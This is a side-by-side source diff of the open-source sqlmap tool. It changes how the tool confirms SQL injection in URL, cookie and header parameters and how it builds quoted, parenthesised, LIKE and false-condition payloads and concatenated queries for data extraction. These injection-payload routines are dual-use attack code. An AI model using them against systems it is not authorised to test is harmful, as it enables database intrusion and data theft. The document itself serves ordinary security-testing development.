payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "confirming LIKE single quoted string injection " infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable " infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "confirming double quoted string injection " infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable " infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "confirming LIKE double quoted string injection " infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable " infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
return None return None
def checkDynParam(place, parameter, value): def checkDynParam(place, parameter, value):
""" """
This function checks if the url parameter is dynamic. If it is This function checks if the url parameter is dynamic. If it is
@@ -262,7 +258,7 @@ def checkDynParam(place, parameter, value):
payload = agent.payload(place, parameter, value, str(randInt)) payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place) dynResult1 = Request.queryPage(payload, place)
if kb.defaultResult == dynResult1: if True == dynResult1:
return False return False
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
@@ -274,12 +270,11 @@ def checkDynParam(place, parameter, value):
payload = agent.payload(place, parameter, value, "\"%s" % randomStr()) payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place) dynResult3 = Request.queryPage(payload, place)
condition = kb.defaultResult != dynResult2 condition = True != dynResult2
condition |= kb.defaultResult != dynResult3 condition |= True != dynResult3
return condition return condition
def checkStability(): def checkStability():
""" """
This function checks if the URL content is stable requesting the This function checks if the URL content is stable requesting the
@@ -294,76 +289,27 @@ def checkStability():
infoMsg = "testing if the url is stable, wait a few seconds" infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg) logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True) firstPage, _ = Request.queryPage(content=True)
time.sleep(0.5) time.sleep(1)
secondPage, _ = Request.queryPage(content=True)
secondPage, secondHeaders = Request.queryPage(content=True) condition = firstPage == secondPage
time.sleep(0.5)
thirdPage, thirdHeaders = Request.queryPage(content=True) if condition:
conf.md5hash = md5hash(firstPage)
condition = firstPage == secondPage logMsg = "url is stable"
condition &= secondPage == thirdPage
if condition == False:
# Prepare for the comparison algorithm based on Content-Length
# header value
contentLengths = []
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
for requestHeaders in requestsHeaders:
requestHeaders = str(requestHeaders).lower()
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
if clHeader and clHeader.group(1).isdigit():
contentLengths.append(int(clHeader.group(1)))
if contentLengths:
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
warnMsg = "url is not stable, sqlmap inspected the headers "
warnMsg += "and identified that Content-Length can be used "
warnMsg += "in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
# Prepare for the comparison algorithm based on page content's
# stable lines subset
counter = 0
firstLines = firstPage.split("\n")
secondLines = secondPage.split("\n")
thirdLines = thirdPage.split("\n")
for firstLine in firstLines:
if counter > len(secondLines) or counter > len(thirdLines):
break
if firstLine in secondLines and firstLine in thirdLines:
conf.equalLines.append(firstLine)
counter += 1
if conf.equalLines:
warnMsg = "url is not stable, sqlmap inspected the page "
warnMsg += "content and identified a stable lines subset "
warnMsg += "to be used in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
if condition == True:
logMsg = "url is stable"
logger.info(logMsg) logger.info(logMsg)
elif not condition:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
warnMsg += "manual paragraph 'Page comparison' and provide a "
warnMsg += "string or regular expression to match on"
logger.warn(warnMsg)
return condition return condition
def checkString(): def checkString():
if not conf.string: if not conf.string:
return True return True
@@ -394,7 +340,6 @@ def checkString():
return False return False
def checkRegexp(): def checkRegexp():
if not conf.regexp: if not conf.regexp:
return True return True
@@ -426,17 +371,21 @@ def checkRegexp():
return False return False
def checkConnection(): def checkConnection():
infoMsg = "testing connection to the target url" infoMsg = "testing connection to the target url"
logger.info(infoMsg) logger.info(infoMsg)
try: try:
kb.defaultResult = Request.queryPage() page, _ = Request.getPage()
conf.seqMatcher.set_seq1(page)
except sqlmapConnectionException, exceptionMsg: except sqlmapConnectionException, exceptionMsg:
exceptionMsg = str(exceptionMsg)
if conf.multipleTargets: if conf.multipleTargets:
exceptionMsg += ", skipping to next url" exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg) logger.warn(exceptionMsg)
return False return False
else: else:
raise sqlmapConnectionException, exceptionMsg raise sqlmapConnectionException, exceptionMsg

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.controller.action import action from lib.controller.action import action
from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam from lib.controller.checks import checkDynParam
@@ -33,17 +31,16 @@ from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection from lib.controller.checks import checkConnection
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import sanitizeCookie
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection from lib.core.session import setInjection
from lib.core.target import createTargetDirs from lib.core.target import createTargetDirs
from lib.core.target import initTargetEnv from lib.core.target import initTargetEnv
from lib.utils.parenthesis import checkForParenthesis from lib.utils.parenthesis import checkForParenthesis
def __selectInjection(injData): def __selectInjection(injData):
""" """
Selection function for injection place, parameters and type. Selection function for injection place, parameters and type.
@@ -65,7 +62,7 @@ def __selectInjection(injData):
message += "\n" message += "\n"
message += "[q] Quit\nChoice: " message += "[q] Quit"
select = readInput(message, default="0") select = readInput(message, default="0")
if not select: if not select:
@@ -84,7 +81,6 @@ def __selectInjection(injData):
return injData[index] return injData[index]
def start(): def start():
""" """
This function calls a function that performs checks on both URL This function calls a function that performs checks on both URL
@@ -105,7 +101,6 @@ def start():
logger.info(infoMsg) logger.info(infoMsg)
hostCount = 0 hostCount = 0
receivedCookies = []
cookieStr = "" cookieStr = ""
setCookieAsInjectable = True setCookieAsInjectable = True
@@ -126,7 +121,7 @@ def start():
if conf.data: if conf.data:
message += "\nPOST data: %s" % conf.data message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q] " message += "\ndo you want to test this url? [Y/n/q]"
test = readInput(message, default="Y") test = readInput(message, default="Y")
if not test: if not test:
@@ -139,54 +134,48 @@ def start():
logMsg = "testing url %s" % targetUrl logMsg = "testing url %s" % targetUrl
logger.info(logMsg) logger.info(logMsg)
createTargetDirs()
initTargetEnv() initTargetEnv()
if not checkConnection() or not checkString() or not checkRegexp(): if not checkConnection() or not checkString() or not checkRegexp():
continue continue
for _, cookie in enumerate(conf.cj): if not conf.dropSetCookie:
cookie = str(cookie) for _, cookie in enumerate(conf.cj):
index = cookie.index(" for ") cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s;" % cookie[8:index] cookieStr += "%s;" % cookie[8:index]
if cookieStr: if cookieStr:
cookieStr = cookieStr[:-1] cookieStr = cookieStr[:-1]
if "Cookie" in conf.parameters: if "Cookie" in conf.parameters:
message = "you provided an HTTP Cookie header value. " message = "you provided an HTTP Cookie header value. "
message += "The target url provided its own Cookie within " message += "The target url provided its own Cookie within "
message += "the HTTP Set-Cookie header. Do you want to " message += "the HTTP Set-Cookie header. Do you want to "
message += "continue using the HTTP Cookie values that " message += "continue using the HTTP Cookie values that "
message += "you provided? [Y/n] " message += "you provided? [Y/n] "
test = readInput(message, default="Y") test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False setCookieAsInjectable = False
if setCookieAsInjectable: if setCookieAsInjectable:
conf.httpHeaders.append(("Cookie", cookieStr)) safeCookie = sanitizeCookie(cookieStr)
conf.parameters["Cookie"] = cookieStr.replace("%", "%%") conf.httpHeaders.append(("Cookie", safeCookie))
__paramDict = paramToDict("Cookie", cookieStr) conf.parameters["Cookie"] = safeCookie
__paramDict = paramToDict("Cookie", safeCookie)
if __paramDict: if __paramDict:
conf.paramDict["Cookie"] = __paramDict conf.paramDict["Cookie"] = __paramDict
__testableParameters = True __testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string and not conf.regexp and not conf.eRegexp: if not conf.string and not conf.regexp and not conf.eRegexp:
if not checkStability(): # NOTE: this is not needed anymore, leaving only to display
errMsg = "url is not stable, try with --string or " # a warning message to the user in case the page is not stable
errMsg += "--regexp options, refer to the user's manual " checkStability()
errMsg += "paragraph 'Page comparison' for details"
if conf.multipleTargets:
errMsg += ", skipping to next url"
logger.warn(errMsg)
continue
else:
raise sqlmapConnectionException, errMsg
for place in conf.parameters.keys(): for place in conf.parameters.keys():
if not conf.paramDict.has_key(place): if not conf.paramDict.has_key(place):
@@ -195,13 +184,23 @@ def start():
paramDict = conf.paramDict[place] paramDict = conf.paramDict[place]
for parameter, value in paramDict.items(): for parameter, value in paramDict.items():
if not checkDynParam(place, parameter, value): testSqlInj = True
# Avoid dinamicity test if the user provided the
# parameter manually
if parameter in conf.testParameter:
pass
elif not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter) warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
logger.warn(warnMsg) logger.warn(warnMsg)
testSqlInj = False
else: else:
logMsg = "%s parameter '%s' is dynamic" % (place, parameter) logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(logMsg)
if testSqlInj:
for parenthesis in range(0, 4): for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter logMsg += "parameter '%s' with " % parameter
@@ -247,20 +246,16 @@ def start():
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ): if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable" raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType: elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.multipleTargets: if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] " message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y") exploit = readInput(message, default="Y")
if not exploit or exploit[0] in ("y", "Y"): condition = not exploit or exploit[0] in ("y", "Y")
condition = True
else: else:
condition = True condition = True
if condition: if condition:
checkForParenthesis() checkForParenthesis()
createTargetDirs()
action() action()
if conf.loggedToOut: if conf.loggedToOut:

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle import OracleMap from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql import PostgreSQLMap from plugins.dbms.postgresql import PostgreSQLMap
def setHandler(): def setHandler():
""" """
Detect which is the target web application back-end database Detect which is the target web application back-end database
@@ -57,7 +54,9 @@ def setHandler():
if conf.dbms and conf.dbms not in dbmsAliases: if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping test for %s" % dbmsNames[count] debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg) logger.debug(debugMsg)
count += 1 count += 1
continue continue
dbmsHandler = dbmsEntry() dbmsHandler = dbmsEntry()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.common import randomInt from lib.core.common import randomInt
@@ -33,7 +31,6 @@ from lib.core.data import kb
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent: class Agent:
@@ -46,29 +43,32 @@ class Agent:
temp.start = randomStr(6) temp.start = randomStr(6)
temp.stop = randomStr(6) temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
""" """
This method replaces the affected parameter with the SQL This method replaces the affected parameter with the SQL
injection statement to request injection statement to request
""" """
negValue = "" falseValue = ""
retValue = "" negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True: if negative or conf.paramNegative:
negValue = "-" negValue = "-"
elif falseCond or conf.paramFalseCond:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter # After identifing the injectable parameter
if kb.injPlace == "User-Agent": if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter, retValue = kb.injParameter.replace(kb.injParameter,
"%s%s" % (negValue, kb.injParameter + newValue)) "%s%s" % (negValue, kb.injParameter + falseValue + newValue))
elif kb.injParameter: elif kb.injParameter:
paramString = conf.parameters[kb.injPlace] paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace] paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter] value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value), retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s%s" % (kb.injParameter, negValue, value + newValue)) "%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
# Before identifing the injectable parameter # Before identifing the injectable parameter
elif parameter == "User-Agent": elif parameter == "User-Agent":
@@ -80,6 +80,12 @@ class Agent:
return retValue return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string): def prefixQuery(self, string):
""" """
@@ -109,7 +115,6 @@ class Agent:
return query return query
def postfixQuery(self, string, comment=None): def postfixQuery(self, string, comment=None):
""" """
This method appends the DBMS comment to the This method appends the DBMS comment to the
@@ -125,7 +130,7 @@ class Agent:
if conf.postfix: if conf.postfix:
string += " %s" % conf.postfix string += " %s" % conf.postfix
else: else:
if kb.parenthesis != None: if kb.parenthesis is not None:
string += " AND %s" % ("(" * kb.parenthesis) string += " AND %s" % ("(" * kb.parenthesis)
else: else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis" raise sqlmapNoneDataException, "unable to get the number of parenthesis"
@@ -145,7 +150,6 @@ class Agent:
return string return string
def nullAndCastField(self, field): def nullAndCastField(self, field):
""" """
Take in input a field string and return its processed nulled and Take in input a field string and return its processed nulled and
@@ -176,12 +180,14 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
nulledCastedField = queries[kb.dbms].cast % field if field.startswith("(CASE"):
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField nulledCastedField = field
else:
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField return nulledCastedField
def nullCastConcatFields(self, fields): def nullCastConcatFields(self, fields):
""" """
Take in input a sequence of fields string and return its processed Take in input a sequence of fields string and return its processed
@@ -228,7 +234,6 @@ class Agent:
return nulledCastedConcatFields return nulledCastedConcatFields
def getFields(self, query): def getFields(self, query):
""" """
Take in input a query string and return its fields (columns) and Take in input a query string and return its fields (columns) and
@@ -246,21 +251,19 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
if query.startswith("SELECT ") and "(SELECT " in query: fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
firstChar = "\\(" fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
else: fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
firstChar = "\\A" fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
fieldsNoSelect = query fieldsNoSelect = query
if fieldsSelectTop: if fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.groups()[0] fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct: elif fieldsSelectDistinct:
fieldsToCastStr = fieldsSelectDistinct.groups()[0] fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
elif fieldsSelectFrom: elif fieldsSelectFrom:
fieldsToCastStr = fieldsSelectFrom.groups()[0] fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect: elif fieldsSelect:
@@ -271,13 +274,23 @@ class Agent:
fieldsToCastList = fieldsToCastStr.replace(", ", ",") fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",") fieldsToCastList = fieldsToCastList.split(",")
if query.startswith("SELECT ") and "(SELECT " in query: return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
if kb.dbms == "MySQL":
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
def concatQuery(self, query): elif kb.dbms in ( "PostgreSQL", "Oracle" ):
concatenatedQuery = "%s||%s" % (query1, query2)
elif kb.dbms == "Microsoft SQL Server":
concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery
def concatQuery(self, query, unpack=True):
""" """
Take in input a query string and return its processed nulled, Take in input a query string and return its processed nulled,
casted and concatenated query string. casted and concatenated query string.
@@ -303,53 +316,66 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
concatQuery = "" if unpack:
query = query.replace(", ", ",") concatenatedQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr) castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
if kb.dbms == "MySQL": if kb.dbms == "MySQL":
if fieldsSelectFrom: if fieldsSelectCase:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1) concatenatedQuery += ",'%s')" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop concatenatedQuery += ",'%s')" % temp.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
elif kb.dbms in ( "Oracle", "PostgreSQL" ): elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom: if fieldsSelectCase:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) concatenatedQuery += "||'%s'" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop concatenatedQuery += "||'%s'" % temp.stop
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop) concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
